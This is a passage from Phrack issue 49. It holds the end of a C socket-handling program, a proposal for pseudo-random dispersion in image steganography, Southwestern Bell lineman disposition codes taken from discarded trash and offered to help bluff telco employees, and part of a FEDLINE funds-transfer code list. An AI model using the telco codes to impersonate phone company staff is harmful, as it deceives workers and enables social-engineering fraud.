  7261.  
  7262. int cbcb_flush_sock(int sock)
  7263. {
  7264.   /* if there is any leftover data in the socket, get it out */
  7265.   while (cbcb_test_sock(sock))
  7266.    {
  7267.    nbytes=recv(sock,buffer,sizeof(buffer),0);
  7268.    if (nbytes<0)
  7269.     perror_sock("flush recv()"); /* but don't abort */
  7270.    else
  7271.     fwrite(buffer,1,nbytes,stderr); /* display it, as it may be informative */
  7272.    }
  7273. return(1);
  7274. }
  7275.  
  7276. /* use select to see if there's data here.
  7277. There don't seem to be any unixes left which understand poll and not select.*/
  7278. int cbcb_test_sock(int sock)
  7279. {
  7280. fd_set setm;
  7281. static struct timeval zerotime={0,0};
  7282.  
  7283. FD_ZERO(&setm);
  7284. FD_SET(sock,&setm);
  7285. if (select(sock+1,&setm,NULL,NULL,&zerotime)<0)
  7286.  {
  7287.  perror_sock("select()");
  7288.  }
  7289. if (FD_ISSET(sock,&setm))
  7290.  return(1);
  7291. else
  7292.  return(0);
  7293. }
  7294.  
  7295. int cbcb_recv_resp(int host,char c)
  7296. {
  7297.  
  7298. parse_state=0;
  7299.  
  7300. nretry=0;
  7301. recv_resp:
  7302.  if (!cbcb_test_sock(hosts[host].cfd)) /* nothing to read */
  7303.  {
  7304.  if (nretry>hosts[host].timeout)
  7305.   {
  7306.   fprintf(stderr,"timeout waiting to recv response\n");
  7307.   return(0);
  7308.   }
  7309.  fprintf(stderr,".");
  7310.  nretry++;
  7311.  sleep(1);
  7312.  goto recv_resp;
  7313.  }
  7314. nbytes=recv(hosts[host].cfd,buffer,sizeof(buffer),0);
  7315. if (nbytes<0) /* an error shouldn't happen here */
  7316.  {
  7317.  perror_sock("response recv()");
  7318.  return(0);
  7319.  }
  7320. /* #ifdef DEBUG */
  7321.  fwrite(buffer,1,nbytes,stdout); /* for debugging only!! */
  7322. /* #endif */
  7323. /* now see if what we received makes sense */
  7324. for (i=0; i<nbytes; i++)
  7325.  {
  7326.  switch(parse_state)
  7327.   {
  7328.  case 0:
  7329.   if (buffer[i]==c)
  7330.    parse_state=1;
  7331.   else
  7332.    goto recv_bad_resp;
  7333.   break;
  7334.  case 1:
  7335.   if (buffer[i]==ASCII_CR)
  7336.     parse_state=2;
  7337.   break;
  7338.  case 2:
  7339.   if (buffer[i]==ASCII_LF)
  7340.    parse_state=3;
  7341.   else
  7342.    goto recv_bad_resp;
  7343.   break;
  7344.  case 3:  /* more data after final \n */
  7345.    goto recv_bad_resp;
  7346.   }
  7347.  }
  7348.  
  7349. if (parse_state!=3)
  7350.  goto recv_resp;
  7351. /* normal competion */
  7352. return(1);
  7353.  
  7354. recv_bad_resp:
  7355.  fprintf(stderr,"Unexpected response (expected %cxx message) ",c);
  7356.  if (i)
  7357.   {
  7358.   fprintf(stderr,"after \"");
  7359.   fwrite(buffer,1,i,stderr);
  7360.   fprintf(stderr,"\" ");
  7361.   }
  7362.  if (i<nbytes)
  7363.   {
  7364.   fprintf(stderr,"before \"");
  7365.   fwrite(buffer+i,1,nbytes-i,stderr);
  7366.   fprintf(stderr,"\"");
  7367.   }
  7368.  fprintf(stderr,"\n");
  7369. return(0);
  7370. }
  7371.  
  7372. int cbcb_copy_buffer(char *s)
  7373. {
  7374. i=j=0;
  7375.    if (nbytes>0&&buffer[nbytes-1]!='\n')
  7376.     buffer[nbytes++]='\n';
  7377.   buffer[nbytes]=0;
  7378.  
  7379. while (buffer[i])
  7380.  {
  7381.  if (j>=BUFFERSIZE)
  7382.   {
  7383.   fprintf(stderr,"File too big\n");
  7384.   return(0);
  7385.   }
  7386.  if (buffer[i]=='\n')
  7387.   *(s+(j++))='\r';
  7388.  *(s+(j++))=buffer[i++];
  7389.  }
  7390. *(s+j)=0;
  7391. return(1);
  7392. }
  7393.  
  7394. ---------------8<-------cut me loose!-------------->8--------------------------
  7395.  
  7396.  
  7397.                               .oO Phrack 49 Oo.
  7398.  
  7399.                         Volume Seven, Issue Forty-Nine
  7400.  
  7401.                                   10 of 16
  7402.   
  7403.     
  7404.               A Steganography Implementation Improvement Proposal
  7405.  
  7406.                 by: cjm1@concentric.net 
  7407.  
  7408. [     For those of you who do not know, steganography is cryptographic
  7409. technique that simply hides messages inside of messages.  The sender composes
  7410. an innocuous message and then, using one of many tactics, injects the secret
  7411. message into it.  Some techniques involve: invisible inks, character 
  7412. distortion, handwriting differences, word/letter frequency doping, bit 
  7413. flipping, etc...  The method the author discusses hinges upon a well known
  7414. steganographic implementation, low-order bit flipping in graphic images. -d9 ]
  7415.  
  7416.     Steganography is a technique for hiding data in other data.  The 
  7417. general method is to flip bits so that reading the low-order bit of each of
  7418. 8-bytes gets one a character.  This allows one to use a picture or a sound
  7419. file and hide data, resulting in a small bit of hopefully unnoticeable noise 
  7420. in the data and a safely hidden cache of data that can later be extracted.
  7421. This paper details a method for making steganographically hidden data more
  7422. safe, by using pseudo-random dispersion.
  7423.     
  7424.     Ordinarily, if someone suspects that you have data hidden in, say, a
  7425. GIF file, they can simply run the appropriate extractor and find the data.  If
  7426. the data is not encrypted, it will be plain for anyone to see.   This can be
  7427. ameliorated by using a simple password protection scheme, hiding the password
  7428. in the GIF as a header, encrypting it first with itself.  If someone does not
  7429. know the password, they cannot extract the data.  This is of course reasonably
  7430. safe, depending on the encryption scheme used, and I recommend it.  But, the
  7431. hidden data can be made even safer.
  7432.     
  7433.     Pseudo-random dispersion works by hiding a password, and a seed for a
  7434. random-number-generator in the encrypted header.  then, a random number of bytes
  7435. are passed by, before a low-order bit is flipped. 
  7436.     
  7437.     To do this, one must first calculate how many bytes a bit can take up 
  7438. for itself.  For instance, to hide an 800 character message in a GIF would 
  7439. mean each character needs 8 bytes (8 bits per character, 1 byte per low-order 
  7440. bit), so you need 6,400 bytes of data to hide the message in, 8 bytes per 
  7441. character.  Let's say we have a GIF that is 10 times this size: 64,000 bytes.
  7442. Thus we have 80 bytes per character to hide data in.  Since each bit takes a 
  7443. byte, we have 10 bytes per bit to hide data in!  Therefore, if we take a 
  7444. pseudo-random number between 1 and 10, and use that byte to hide our low-order
  7445. bit in, we have achieved a message dispersed through the GIF in a pseudo-random
  7446. fashion, much harder to extract.  A message in which each byte has a bit which
  7447. is significant to the steganographically hidden message can be extracted with 
  7448. ease relative to a message in which there are 10 possible bytes for each bit
  7449. of each character.  The later is exponentially harder to extract, given no
  7450. esoteric knowledge.
  7451.     
  7452.     A slight improvement can be made to this algorithm.  By re-calculating
  7453. the number of available bytes left for each bit after each bit is hidden, the 
  7454. data is dispersed more evenly throughout the file, instead of being bunched up
  7455. at the start, which would be a normal occurrence.  If you use pseudo-random
  7456. number generator, picking numbers from 0-9, over time, the values will smooth 
  7457. to 5.  This will cause the hidden message to be clustered at the beginning
  7458. of the GIF.  By re-calculating each time the number of available bytes left
  7459. we spread the data out throughout the file, with the added bonus that later 
  7460. bits will be further spread apart than earlier ones, resulting in possible
  7461. search spaces of 20, 30, 100, or even 1,000 possible bytes per bit.  This too
  7462. serves to make the data much harder to extract.
  7463.     
  7464.     I recommend a header large enough for an 8 character ASCII password,
  7465. an integral random-number seed, an integral version number, and an place 
  7466. holder left for future uses.  The version number allows us to tweak the 
  7467. algorithm and still be able to be compatible with past versions of the 
  7468. program.  The header should be encrypted and undispersed (ie: 1 byte per 
  7469. bit of data) since we haven't seeded the random-number generator yet for 
  7470. dispersion purposes.
  7471.     
  7472.     It is useful to make the extractor in such a way that it always 
  7473. extracts something, regardless of the password being correct or not.  Doing
  7474. this means that it is impossible to tell if you have guessed a correct password
  7475. and gotten encrypted data out, or merely gotten out garbage that looks like
  7476. encrypted data.  Use of a password can also be made optional, so that none is
  7477. necessary for extraction.  A simple default password can be used in these 
  7478. cases.  When hiding encrypted data, there is no difference to the naked 
  7479. eye between what is extracted and what is garbage, so no password is 
  7480. strictly necessary.  This means no password has to be remembered, or 
  7481. transmitted to other parties.  A third party cannot tell if a real password 
  7482. has been used or not.  It is important for safety purposes to not hide the 
  7483. default password in the header if no password is used.  Otherwise, a simple 
  7484. match can be made by anyone who knows the default password.
  7485.  
  7486.                                .oO Phrack 49 Oo.
  7487.  
  7488.                           Volume Seven, Issue Forty-Nine
  7489.  
  7490.                                     11 of 16
  7491.  
  7492.  
  7493.                 A listing of South Western Bell Lineman Work Codes
  7494.  
  7495.                          Written by: Icon
  7496.  
  7497.         Have you ever wanted to bullshit a telco employee but you don't 
  7498. have the proper acronym or code that would help convince them?  Well here 
  7499. is a nearly complete listing of all of the Disposition Codes that I found 
  7500. on a trash run.  Enjoy...
  7501.  
  7502.          
  7503.         -= Disposition Codes =-
  7504.  
  7505.  
  7506. [The following is an exact word for word type up]
  7507.  
  7508. Disposition Code 01XX - Station Set, Business Services:
  7509. This code applies to all troules located in TELCO-provided station set 
  7510. equipment, including the mounting cord and handset cord, when used for OCS
  7511. classes of service.
  7512.  
  7513. Disposition Code 02XX - Other Station Equipment, OSC Business Services 
  7514. (or Public Services):
  7515. This code applies to all troubles in station equipment (other than station 
  7516. sets) including switchboards, PBX systems, switching equipment on the 
  7517. customer premises, etc. and to Public Services (COIN) station equipment.
  7518.  
  7519. Disposition Code 03XX - Station Wiring
  7520. 0310 Premise Termination: Coin/Coinless
  7521. 0370 Network Termination: Other
  7522. 0371 Protector: Applies when trouble is located in a protective interface
  7523. 0373 Network Interface: Applies when trouble is located in network interface
  7524. 0375 Network Terminating Wire: Applies when trouble is located in the wire 
  7525.      between the protector/cable termination and the network interface of
  7526.      demarcation
  7527. 0378 Side Wall - Jumper missing
  7528. 0379 Side Wall - Jumper wrong
  7529. 0380 Drop Other
  7530. 0381 Aerial-Paired: Applies to trouble located in one-pair aerial drop 
  7531.      service wire
  7532. 0382 Aerial-Multiple: Applies to trouble located in multiple-paired aerial
  7533.      drop service wire 
  7534. 0383 Buried Drop - Repaired Initial Dispatch: Applies to trouble located in
  7535.      buried drop and total repaired on first dispatch
  7536. 0384 Buried Drop - Temporary Places, No Recon: Applies to trouble located in
  7537.      buried drop and a subsequent visit is not needed for drop retermination
  7538. 0385 Buried Drop - Temporary Placed, Recon Required: Applies to trouble 
  7539.      located in buried drop and a subsequent visit is needed for drop 
  7540.      placement and recon.
  7541. 0386 Drop, Left In: Applies to trouble located in a drop terminated to the
  7542.      cable pair at a location other than that of the subscriber's
  7543. 0387 Drop Reversed
  7544. 0388 Buried Drop - Drop Not Buried: Applies when temporary drop is removed 
  7545.      and newly placed buried drop is reconned
  7546. 0389 Temporary Drop Not Buried - Repaired: Applies to trouble located in the 
  7547.      temporary drop and it is repaired
  7548. 0390 Network Miscellaneous Apparatus
  7549.  
  7550. Disposition Code 04XX - Outside Plant
  7551. 0401 Pair Transferred - Defective Pair Left: Applies when service is restored
  7552.      by transferring the customer's service to a different cable pair and the
  7553.      original defect is not corrected.
  7554. 0402 Pair Cut Dead To The Field: Applies when service is restored by removing
  7555.      faulted conductor bridge tap which has affected the customer's service
  7556.      and the original defect is not corrected
  7557. 0403 Pair Transposed: Applies when conductors are transposed between two or 
  7558.      more points to restore customer service and the original defect is not
  7559.      corrected
  7560. 0404 Defective Section/Temporary Drop Placed: Applies when trouble is located
  7561.      and a drop is placed as a temporary cable between terminals.
  7562. 0405 Defective Pair - Encapsulated Plant: Applies when trouble is 
  7563.      encapsulated plant and pair is not fixed
  7564. 0407 Pair Transferred - No Defective Pair Left: Applies when service is 
  7565.      restored by transferring the customer's service to a different cable pair
  7566.      (usually for record purposes) and no defective pair is involved (i.e., 
  7567.      pair left off cable transfer, telephone number assigned on wrong pair).
  7568. 0410 Cable Other: Applies when the trouble is fixed in the cable facility not
  7569.      listed elsewhere
  7570. 0411 Sheath: Applies when damaged cable sheath or turnplate must be repaired 
  7571.      to clear a trouble report
  7572. 0412 Cut Cable: Applies when a cable has been cut or damaged and must be 
  7573.      repaired to clear trouble reports
  7574. 0413 Wet Cable: Applies when a cable has gotten wet and must be dried and/or
  7575.      cutaround to clear trouble reports
  7576. 0416 Conductor: Applies when trouble is located in cable conductors, such as 
  7577.      defective insulation, etc.
  7578. 0420 Closure/Splice Case: Applies when trouble is located in cable closures
  7579.      and splice cases
  7580. 0421 Temporary Closure: Applies to trouble located in temporary type closures
  7581. 0423 Encapsulated: Applies to a trouble located within an encapsulated splice
  7582.      or closure. Includes troubles resulting from a defect in material,
  7583.      workmanship during construction, or maintenance activities of an 
  7584.      encapsulated splice
  7585. 0426 Ready Access Splice Case: Applies to trouble found in a ready access 
  7586.      type splice case
  7587. 0430 Terminal - Other: Applies to trouble found in a terminal not otherwise
  7588.      listed
  7589. 0431 Ready Access Terminal, All: Applies to trouble found in ready access 
  7590.      type terminals in aerial or buried plant
  7591. 0433 Fixed Count Terminal, All: Applies when trouble is located in fixed 
  7592.      count terminal in aerial or buried plant
  7593. 0436 Cross Box, RAI/SAI: Applies when trouble is located in a serving area
  7594.      interface or FX box
  7595. 0440 Wire/Dual Plant - Other: Applies when trouble is located in wire or dual
  7596.      wire plant not elsewhere listed
  7597. 0442 Open/Rural Wire: Applies when trouble is located in wire for 
  7598.      distribution, i.e., open wire, c-rural wire, and d-underground wire
  7599. 0470 Pair Gain System: Applies when trouble is located in the Remote Terminal
  7600.      of the pair gain system
  7601. 0471 Repeater Failure: Applies when trouble is located in the repeater of a 
  7602.      Pair Gain System
  7603. 0472 Battery Failure: Applies when trouble is located in the battery of a 
  7604.      Pair Gain System
  7605. 0473 Common Circuit Pack: Applies when trouble is located in the common  
  7606.      circuit pack of a Pair Gain System
  7607. 0474 Channel Unit Exchange: Applies when trouble is located in the channel
  7608.      unit (exchange type)
  7609. 0475 Channel Unit Special: Applies when trouble is located in the channel 
  7610.      unit (special type)
  7611. 0476 Routing: Applies when trouble is with the routing
  7612. 0477 Rectifier Failure: Applies when trouble is caused by rectifier failure
  7613. 0478 Wiring: Applies when trouble is caused by the wiring
  7614. 0470 Commercial Power Failure: Applies when trouble is caused because of 
  7615.      commercial power failure
  7616. 0480 Cable Miscellaneous/Other
  7617. 0481 Pole/Guy/Anchor/Trench: Applies when a trouble is the result of a pole,    
  7618.      guy, anchor, route signs, or trench associated with outside plant
  7619. 0483 Fiber Optics - All: Applies when a trouble is the result of conditions
  7620.      associated with fiber optics
  7621.  
  7622. Disposition Code 05XX - Central Office
  7623. 0511 Common Equipment 
  7624. 0512 Linkage/Network/Grid
  7625. 0513 Line Equipment
  7626. 0514 Billing Equipment
  7627. 0515 Trunk
  7628. 0516 Public Service Trunk
  7629. 0520 Translations - Other
  7630. 0521 Generic Work Error
  7631. 0522 Generic Program Error
  7632. 0523 Parameter - Work Error
  7633. 0524 Parameter - Document Error
  7634. 0525 Line - Work Error
  7635. 0526 Line - Document Error
  7636. 0527 Network - Work Error
  7637. 0528 Network - Document Error
  7638. 0530 Intercept or Disconnect Document Error
  7639. 0531 MDF Cross-Connection Missing
  7640. 0532 MDF Cross-Connection Broken
  7641. 0533 MDF Cross-Connection Work Error
  7642. 0534 MDF Cross-Connection Document Error
  7643. 0535 Other Cross-Connection Work Error
  7644. 0536 Other Cross-Connection Document Error
  7645. 0537 Billing Cross-Connection Work Error
  7646. 0538 Billing Cross-Connection Document Error
  7647. 0539 Intercept or Disconnect Work Error
  7648. 0540 Other Frame
  7649. 0541 Defective or operated protector
  7650. 0542 Missing Protection Device
  7651. 0543 Reversing Device
  7652. 0544 Terminal - Wire Clipping
  7653. 0545 Terminal Connection
  7654. 0546 Test Cord
  7655. 0550 Other Power
  7656. 0551 DC Power Equipment
  7657. 0552 AC Power Equipment
  7658. 0553 Ringer Plant
  7659. 0554 Standby Emergency Power
  7660. 0560 Miscellaneous Equipment - Other
  7661. 0561 Radio System
  7662. 0562 Line Testing Equipment
  7663. 0563 Concentrator
  7664. 0564 Range Extender - Applies when a report is the result of a defective 
  7665.      range extender
  7666. 0565 Carrier System
  7667. 0566 Automatic Message Accounting Recording Center
  7668. 0580 Pair Gain System/RSS Other
  7669. 0583 Common Circuit Pack
  7670. 0584 Channel Unit Exchange
  7671. 0585 Channel Unit Special
  7672. 0586 Carrier Unit Replaced (AML/SLC-1)
  7673. 0587 Power
  7674. 0588 Wiring
  7675.  
  7676. Disposition 06XX - Customer Action
  7677. 0600 Customer Action: Applies when a trouble report results from customer 
  7678.      error or misuse of features in connection with custom calling service
  7679.  
  7680. Disposition 07XX - Test OK
  7681. 0701 MC Retest Ok
  7682. 0708 SCC Test Ok
  7683. 0711 Test OK (Maintenance Center Use Only)
  7684. 0715 Customer Cancel Original (CSB Use Only)
  7685. 0717 Lead Test Ok
  7686. 0720 Link Retest Ok
  7687. 0730 Test OK TAN (Technician Use)
  7688. 0747 Test OK (Front End Closeout)
  7689. 0750 CSB Retest OK
  7690.  
  7691. Disposition Code 08XX - Found OK - In
  7692. 0800 Found OK - In
  7693.  
  7694. Disposition Code 09XX - Found Ok - Out
  7695. 0901 Found OK - Out, Non-Cable: Applies when trouble condition is determined
  7696.      to be FOK between the serving terminal and the customer's side of the 
  7697.      protector/network interface
  7698. 0910 Found Ok - Out, Cable: Applies when trouble condition is determined to 
  7699.      be FOK between the serving terminal and the field side of the central
  7700.      office
  7701.  
  7702. Disposition Code 10XX - Referred Out
  7703. 1001 Referred Out: Applies when trouble reports are referred to other 
  7704.      Maintenance Centers, agencies or departments not normally involved in
  7705.      the trouble clearing effort
  7706.  
  7707. Disposition Code 12XX - Customer Provided Equipment
  7708. 120X Voice Messaging Service
  7709. 1201 Voice Messaging Service 0 All
  7710. 121X Maintenance Contract (Inline/Inline Plus)
  7711. 1210 Cord: Customer has maintenance contract and a defective mounting cord was
  7712.      replaced
  7713. 1211 Loaner Set Provided: Applies to those customers with an inline+ 
  7714.      agreement, in which a loaner set is provided, or when the customer 
  7715.      chooses to buy the replacement set
  7716. 1212 Inline Only - Set Trouble: Applies to customer with a maintenance 
  7717.      agreement for IW only and the trouble is located in the set/equipment.
  7718.      This code includes, but is not limited to receiver off hook, unplugged
  7719.      sets, defective sets
  7720. 1213 Non-Standard IW (Customer Repair): Applies when the customer has an 
  7721.      agreement for standard IW maintenance; however, the trouble is located
  7722.      in non-standard IW and the customer will repair. NO CHARGE
  7723. 1214 Inside Wire: Applies to customers with an IW maintenance agreement and 
  7724.      the technician repairs the IW. NO CHARGE
  7725. 1215 Non-Standard IW (Telco Replaced): Applies when the customer has a 
  7726.      maintenance contract for standard IW maintenance; however, the trouble is 
  7727.      located in non-standard IW and the technician will repair. PREMISES
  7728.      WORK CHARGE IS APPLICABLE
  7729. 1217 No Access - Field Use: Applies on second no access, no trouble is found
  7730.      at the customer premise
  7731. 1218 Inline/Inline Plus - Telco Fix Exceptions: Wire repair due to acts of 
  7732.      God, such as floods, earthquake, riot, gross negligence, willful 
  7733.      damage/vandalism. Also wire that does not meet SWBT installation practice
  7734.      technical standards, or is not in satisfactory condition
  7735. 1219 Inline/Inline Plus - Customer Fix - Exceptions (See 1218 for exceptions)
  7736. 122X CPE - Other (No Maintenance Contract)
  7737. 1220 Radio Suppresser (Inline Customer): Applies when a radio suppresser is 
  7738.      placed to resolve the trouble
  7739. 1221 Calling Party Hold: Applies when the trouble condition is a result of 
  7740.      calling party hold. NO CHARGE
  7741. 1222 Set/Equipment: Applies when then trouble condition is determined by the
  7742.      technician to be caused by the customer telephone set/equipment. No
  7743.      maintenance agreement. A MAINTENANCE OF SERVICE CHARGE WILL APPLY
  7744. 1223 CPE (IW/CPE) No Dispatch: Applies when trouble is tested, but is 
  7745.      determined to be in CPE via conversation with the customer and/or related tests. No repair dispatch is made. NO CHARGE
  7746. 1225 Receiver Off Hook: Applies when trouble is tested when cannot be located
  7747.      in Telco facilities and the trouble report or service condition can be
  7748.      attributed to a receiver off hook. MSC WILL APPLT
  7749. 1226 Set Unplugged: Applies when trouble is tested which cannot be located in
  7750.      Telco facilities and the trouble report or service difficulty can be
  7751.      attributed to unplugged CPE. MSG WILL APPLY
  7752. 1227 Public Extension (SEMI): Applies when trouble is tested which cannot be 
  7753.      located in TELCO facilities and the trouble report or service condition
  7754.      can be attributed to semi-public extension. Semi-public extension is
  7755.      defined as a CPE instrument used as an extension on Telco provided coin
  7756.      service. MSC WILL APPLY
  7757. 1228 Private Coin Service: Applies when trouble is tested which cannot be 
  7758.      located in Telco facilities and the trouble report or service condition
  7759.      can be attributed to private coin service. Private coin service is 
  7760.      defined as a coin instrument and associated wire provided by a non-Telco
  7761. 1229 Cable Facilities (Not Telco Maintained): Applies when trouble is tested
  7762.      which cannot be located in Telco facilities and the trouble report or 
  7763.      service condition can be attributed to CPE cable facility. MSC WILL APPLY
  7764. 123X Intexchange Carrier
  7765. 1231 Intexchange Carrier: Applies when trouble is tested which cannot be 
  7766.      located in Telco facilities or equipment and the services are provided
  7767.      by an IC
  7768. 124X Unauthorized CPE/Usage/Tariff Violation
  7769. 1241 Dispatched trouble reports involving CPE that were installed under 
  7770.      Contract I/M services, and are within the warranty time period, should
  7771.      be closed to disposition code 12410 Contract I/M services, CPE. The 
  7772.      disposition code 122X should not be used under these circumstances. NO
  7773.      REPAIR CHARGE (MSR or RSC) or TIME SENSITIVE CHARGES APPLY
  7774. 1242 Dispatched trouble reports involving inside wire within the warranty time
  7775.      period of the Contract I/M Services contract between SWT/SWBT should be 
  7776.      closed to the appropriate disposition code 121X. Inside wire troubles 
  7777.      reported by Non-Inline and Non-Contract I/M Services customers should 
  7778.      continue to be closed to the appropriate disposition code 126X and
  7779.      normal charges should apply.
  7780.  
  7781. Disposition 12XX - Customer Provided Equipment 
  7782. 126X Time Sensitive Work/Isolation/No Maintenance Contract
  7783. 1261 Inside Wire - Telco Repair: Applies when trouble is tested which cannot
  7784.      be located in Telco facilities and a trouble report or service condition
  7785.      is attributed to the IW. The technician repairs the IW for an ADDITIONAL
  7786.      CHARGE to the customer. (Time Sensitive - Repair Rates).
  7787. 1262 Inside Wire - SNI Not Available Cust Fix (Non-Inline): Applies when
  7788.      trouble is tested which cannot be located in Telco Facilities and the
  7789.      trouble report is isolated to the customer's side of the protector. The
  7790.      technician installs a Network Interface but does not repair the trouble
  7791. 1263 Inside Wire - SNI Available - Cust Fix (Non-Inline): Applies when trouble
  7792.      is tested which cannot be located in Telco facilities and a trouble 
  7793.      report or service condition is in attributed to the CPE. A Network 
  7794.      Interface is in place and the customer does the repair
  7795. 1264 No Authorization/Customer Repair: Applies when trouble is tested which 
  7796.      cannot be located in Telco facilities and a trouble repor or service 
  7797.      condition can be attributed to CPIW. Premise access is obtained and 
  7798.      customer/customer's agent is unable to authorize repair charge.
  7799. 1265 Military Facility: Applies when trouble is isolated to I/W maintained by
  7800.      military maintenance personnel.
  7801. 1266 NA for Non-Inline (Field Use)
  7802. 1267 CPE - No Access Subscriber Follow-up (MC USE ONLY): Applies when trouble
  7803.      cannot be located in Telco facilities and a trouble report or service 
  7804.      condition is attributed to the CPE. The technician does not have access
  7805.      to the customer's premise, but a network interface is present.
  7806. 1268 Warranty: Applies when trouble is tested which cannot be located in 
  7807.      Telco facilities but repair work is performed by the technician within
  7808.      30 days of previous IW repair performed by Telco. (Proof of warranty is
  7809.      the customer's responsibility). A SERVICE CHARGE IS NOT APPLICABLE
  7810. 127X Administrative Reports - Do Not Bill
  7811. 1275 Predictor/Scan/CPR: Applies when a trouble condition is detected by SCAN/ 
  7812.      PREDICTOR or Calling Party Report, a dispatch is made and no work is 
  7813.      performed. The trouble condition is attributed to the CPE. (A SERVICE
  7814.      CHARGE IS NOT APPLICABLE)
  7815. 128X CSB Use Only
  7816. 1281 Front End Close Out (Customer Service Bureau Only): Apples when a
  7817.      trouble report is determined to be caused by the CSB. The CSB will close
  7818.      out this report with this disposition code.
  7819. Disposition Code 129X MOOSA (Maintenance Center Use Only)
  7820. 1291 MOOSA Error Corrections
  7821.  
  7822. Disposition Code 13XX
  7823. 1301 Other Departments - Telco
  7824. 1302 Non Telco
  7825. 1303 Wrong Number Reported
  7826. 1325 Service Order Worked - Link
  7827. 1326 Service Order Cancel/Delay
  7828. 1327 Service Order Changes
  7829.  
  7830. Disposition Code 20XX - Air Pressure
  7831. 2010 Transducer
  7832. 2011 Contactor
  7833. 2012 Pressure Plug
  7834. 2013 Air Flow Sensor
  7835. 2014 Pipe
  7836. 2015 Manifold or Tubing
  7837. 2016 Dryers
  7838. 2017 Air Bottles
  7839. 2018 Fittings
  7840.  
  7841. Disposition Code 30XX - Cable Location
  7842. 3010 Patrols and Inspections
  7843. 3011 Facility Located
  7844. 3012 No Facilities In Area
  7845.  
  7846.  
  7847.                               .oO Phrack 49 Oo.
  7848.  
  7849.                           Volume Seven, Issue Forty-Nine
  7850.  
  7851.                                     12 of 16
  7852.  
  7853.  
  7854. ============================================================================
  7855.  
  7856.                     FEDLINE (Message and Code Definitions)
  7857.  
  7858.                   Your PC Window to the Federal Reserve Bank
  7859.                                                
  7860.                                 by ParMaster
  7861.  
  7862.  
  7863. ============================================================================
  7864.  
  7865.  
  7866.  
  7867.  
  7868.     The FEDLINE software package is a common Bank client for the Federal
  7869. Reserve.  Used by Banks, Credit Unions, and other Financial Institutions,
  7870. the amount of funds transferred on a daily basis matches or exceeds the 
  7871. daily volume of all other EFT networks.  FEDLINE uses hardware encryption
  7872. through a special PC card which operates using the US National Bureau of 
  7873. Standards, Data Encryption Standard.  This file is not my attempt to 
  7874. demystify its operation, but to provide a categorical list of the codes.  
  7875. I accept no responsibility for anyone's use or misuse of the information 
  7876. contained in this file.
  7877.  
  7878.  
  7879. ============================================================================
  7880.  
  7881.  
  7882.                         Type and Subtype Code Definitions
  7883.                            
  7884. ============================================================================
  7885.  
  7886.  
  7887.  
  7888.  
  7889. Funds Transfer Messages.
  7890.                            
  7891.  
  7892. Accounting status of a message indicates how the message is
  7893. to be processed into the FUNDS balances of the FEDLINE Reserve
  7894. Account Monitor from the standpoint of the original DI.
  7895.  
  7896.   Status Codes:
  7897.                                 D = Debit Transaction
  7898.                                 C = Credit Transaction
  7899.                                 N = Non-accountable Transaction
  7900.  
  7901.                                 (Valid for ALL Messages.)
  7902.  
  7903.  
  7904. ============================================================================
  7905.  
  7906.  
  7907.  
  7908.  
  7909.                         Regular Funds Transfer Messages
  7910.  
  7911.  
  7912. Type/Sub                  Acct. Status            Description
  7913. ~~~~~~~~                  ~~~~~~~~~~~~         ~~~~~~~~~~~~~~~~~~~~~~~~~~~
  7914. 1000                          D                   Transfer of Funds
  7915.  
  7916. 1001                          N                   Request for Reversal
  7917.                                                   of current day Funds
  7918.                                                   Transfer
  7919.  
  7920. 1002                          D                   Transfer of Funds
  7921.                                                   Reversal
  7922.  
  7923. 1003                          D                   Transfer of Funds Return
  7924.                                                   (Sent by FRB only)
  7925.  
  7926. 1007                          N                   Request for Reversal of
  7927.                                                   Prior Day Funds Transfer
  7928.  
  7929. 1008                          D                   Prior Day Transfer of
  7930.                                                   Funds Reversal
  7931.  
  7932. 1020                          D                   Transfer of Funds
  7933.                                                   Requiring As-Of
  7934.                                                   Adjustment
  7935.  
  7936. 1031                          N                   Request for Customer
  7937.                                                   Drawdown
  7938.  
  7939. 1032                          D                   Transfer Honoring Request
  7940.                                                   for Customer Drawdown
  7941.  
  7942. 1033                          N                   Refusal of Request for
  7943.                                                   Customer Drawdown
  7944.  
  7945. 1040                          D                   Structured Transfer
  7946.                                                   of Funds.
  7947.  
  7948. 1090                          N                   Service Message regarding
  7949.                                                   Funds Transfer
  7950.  
  7951.  
  7952. ============================================================================
  7953.  
  7954.  
  7955.  
  7956.  
  7957.  
  7958.                         Foreign Funds Transfers
  7959.  
  7960.  
  7961. Type/Sub                  Acct. Status            Description
  7962. ~~~~~~~~                  ~~~~~~~~~~~~         ~~~~~~~~~~~~~~~~~~~~~~~~~~~
  7963.  
  7964. 1500                            D                 Transfer of Funds
  7965.  
  7966. 1501                            N                 Request for Reversal of
  7967.                                                   Current Day Foreign
  7968.                                                   Account Transfer
  7969.  
  7970. 1502                            D                 Transfer of Funds
  7971.                                                   Reversal
  7972.  
  7973. 1503                            D                 Transfer of Funds
  7974.                                                   Return
  7975.                                                   (Sent by FRB only)
  7976.  
  7977. 1507                            N                 Request for Reversal of
  7978.                                                   Prior Day Foreign Account
  7979.                                                   Transfer
  7980.  
  7981. 1508                            D                 Prior Day Transfer of
  7982.                                                   Funds Reversal
  7983.  
  7984. 1531                            N                 Foreign Account Request
  7985.                                                   for Funds
  7986.  
  7987. 1532                            D                 Transfer Honoring
  7988.                                                   Request for Funds
  7989.  
  7990. 1533                            N                 Foreign Account Refusal
  7991.                                                   of Request for Funds
  7992.  
  7993. 1540                            D                 Structured Funds Transfer
  7994.  
  7995. 1590                            N                 Service Message regarding
  7996.                                                   Foreign Account Transfer
  7997.  
  7998.  
  7999. ============================================================================
  8000.  
  8001.  
  8002.  
  8003.  
  8004.  
  8005.                         Settlement Funds Transfer Messages
  8006.  
  8007.  
  8008. Type/Sub                  Acct. Status            Description
  8009. ~~~~~~~~                  ~~~~~~~~~~~~         ~~~~~~~~~~~~~~~~~~~~~~~~~~~
  8010. 1600                            D                 Transfer of Funds
  8011.  
  8012. 1601                            N                 Request for Reversal of
  8013.                                                   Current Day Settlement
  8014.                                                   Transfer
  8015.  
  8016. 1602                            D                 Transfer of Funds
  8017.                                                   Reversal
  8018.  
  8019. 1603                            D                 Transfer of Funds
  8020.                                                   Return
  8021.                                                   (Sent by FRB only)
  8022.  
  8023. 1607                            N                 Request for Reversal of
  8024.                                                   Prior Day Settlement
  8025.                                                   Transfer
  8026.  
  8027. 1608                            D                 Prior Day Transfer of
  8028.                                                   Funds Reversal
  8029.  
  8030. 1620                            D                 Funds Transfer Requiring
  8031.                                                   As-Of Adjustment
  8032.  
  8033. 1631                            N                 Request for Bank-to-Bank
  8034.                                                   Drawdown
  8035.  
  8036. 1632                            D                 Transfer Honoring Request
